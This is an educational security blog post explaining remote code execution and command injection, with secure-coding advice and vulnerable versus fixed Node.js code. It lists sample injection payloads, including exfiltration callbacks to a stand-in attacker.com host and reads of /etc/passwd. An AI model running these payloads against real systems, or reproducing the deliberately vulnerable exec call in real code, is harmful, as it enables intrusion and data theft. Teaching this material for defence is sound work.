This Vulnerability Explain post covers the heavyweight of the bug world – Remote Code Execution, including its very common cousin, OS command injection. When an attacker can run their own code on your server, every other control is essentially off the table. We will explain what RCE is, the paths that lead to it, how to test responsibly, and how to keep attackers from ever reaching a shell.
What is RCE?
Remote Code Execution means an attacker can run arbitrary code or operating-system commands on a target machine over the network. Command injection is the specific case where user input is passed into a system shell without proper handling.
Imagine a web tool that pings a host you type in by running ping
How does RCE work?
RCE can arrive through many doors, but the underlying pattern is always untrusted input reaching a place where it gets executed. A common command-injection chain looks like this:
- User Input Reaches a Sink
- Input flows into a shell call, an eval, a template engine, a deserializer, or a file that is later executed.
- No Separation of Code and Data
- The application builds a command or code string by concatenating user input instead of using safe parameterized APIs.
- Payload Injection
- The attacker adds shell metacharacters (; | && $() ` `) or language constructs to break out of the intended command.
- Execution on the Server
- The injected command or code runs with the privileges of the application process.
- Post-Exploitation
- The attacker establishes persistence, pivots into the network, steals data, or deploys a reverse shell.
The common thread is simple: wherever your code asks an interpreter or a shell to act on a string the user influenced, you have a candidate for RCE. Keep code and data strictly apart and the door stays shut.

Tools and Techniques for RCE Testing
RCE testing ranges from quick command-injection probes to full exploitation frameworks. Always work within an authorized scope – this is the category where mistakes do the most damage.
Manual Testing Methodologies
- Command Separator Probing – Append separators like ; , |, &&, $(), and backticks to inputs that feed system commands and watch for changed output or timing.
- Time-Based Blind Testing – When output is hidden, inject sleep or ping -c 10 and measure response delay to confirm execution.
- Out-of-Band Detection – Trigger a DNS or HTTP callback to your own server to prove code ran even when nothing is reflected.
- Source and Sink Review – Trace user input to dangerous functions like system, exec, eval, popen, Runtime.exec, and template renderers.
Automated Scanning Tools
- Commix – Automates detection and exploitation of command injection flaws.
- Metasploit Framework – Industry-standard toolkit for verifying and exploiting RCE in authorized engagements.
- Nuclei – Ships templates for many known RCE CVEs and injection patterns.
- Burp Suite Scanner – Detects command injection, including blind and out-of-band variants via Collaborator.
RCE Protection Mechanisms
Best Practices for Secure Coding
- Avoid Shell Calls Entirely
- Description: Use native language APIs instead of shelling out to the operating system.
- Benefits: Removes the shell, and with it the metacharacter problem.
- Implementation Tip: Prefer library functions for tasks like file handling, DNS lookups, and image processing.
- Use Parameterized Execution
- Description: When you must run a process, pass arguments as an array, never as a concatenated string.
- Benefits: The shell never interprets user input as part of the command.
- Implementation Tip: For example use execFile with an args array rather than exec with a single string.
- Strict Input Validation and Sandboxing
- Description: Allowlist acceptable input and run risky operations with minimal privileges in a container or sandbox.
- Benefits: Limits both the chance and the blast radius of execution.
- Implementation Tip: Drop privileges, use read-only filesystems, and apply seccomp or AppArmor profiles.
Best Practices for Organizations
- Least Privilege Everywhere
- Run application processes as non-root, low-privilege accounts.
- Segment networks so a compromised host cannot freely reach everything.
- Patch and Dependency Hygiene
- Most modern RCE comes through vulnerable libraries – track and patch them quickly.
- Monitor advisories for the frameworks you depend on.
- Detection and Response
- Alert on unexpected child processes spawned by web applications.
- Maintain an incident response plan that assumes RCE will eventually be attempted.
Top RCE payloads used by Security Researchers
As a security researcher, knowing the most common payloads helps you detect and prevent these attacks. Use this knowledge ethically and only on systems you are authorized to test. Some sample payloads are shown below.
// Common command separators (Linux)
127.0.0.1; id
127.0.0.1 | id
127.0.0.1 && id
$(id)
`id`// Time-based blind confirmation
127.0.0.1; sleep 10
127.0.0.1 && ping -c 10 127.0.0.1// Out-of-band callback
127.0.0.1; curl http://attacker.com/$(whoami)
127.0.0.1; nslookup `whoami`.attacker.com// Windows variants
127.0.0.1 & whoami
127.0.0.1 | dir
127.0.0.1 && type C:\\Windows\\win.iniReal-World Example: Command Injection in a Network Diagnostics Tool
An internal admin panel offered a “connectivity check” that let staff ping any host. Under the hood it ran the shell command ping -c 4
A tester entered 8.8.8.8; cat /etc/passwd and the response returned both the ping output and the password file. Swapping the payload for a reverse-shell one-liner gave a full interactive shell as the web user, and from there the network was wide open.
The fix replaced the shell call with a native ping library and validated the host against a strict pattern. The takeaway is timeless: never hand raw user input to a shell, and assume any place that does is a loaded gun.
Vulnerable and secure code of RCE
The following example shows the contrast between vulnerable and secure code for RCE. It helps you see how the flaw creeps into real code and the changes that shut it down.
🥺 Vulnerable Code:
// Vulnerable: user input concatenated into a shell command
const { exec } = require("child_process");
app.get("/ping", (req, res) => {
const host = req.query.host;
// host=8.8.8.8; cat /etc/passwd -> the shell runs both commands
exec(`ping -c 4 ${host}`, (err, stdout) => {
res.send(stdout);
});
});- exec runs the string through a shell, so metacharacters like ; and | are interpreted.
- An attacker can append arbitrary commands and run them as the application user.
😎 Secure Code:
// Secure: no shell, arguments passed as an array, input validated
const { execFile } = require("child_process");
const net = require("net");
app.get("/ping", (req, res) => {
const host = req.query.host;
if (!net.isIP(host)) {
return res.status(400).send("Invalid host");
}
// execFile does not spawn a shell; host is just an argument
execFile("ping", ["-c", "4", host], (err, stdout) => {
res.send(stdout);
});
});- execFile avoids the shell entirely, so metacharacters carry no special meaning.
- Validating that host is a real IP address rejects injection attempts before execution.
Conclusion
Remote Code Execution is the worst-case outcome in web security – once an attacker runs their code on your server, every other control is moot. The defense is uncompromising: never hand untrusted input to a shell, use parameterized execution or native APIs, validate input against strict allowlists, and run with the least privilege possible so a slip does limited damage. Most modern RCE arrives through vulnerable dependencies, so patching quickly matters just as much as writing careful code.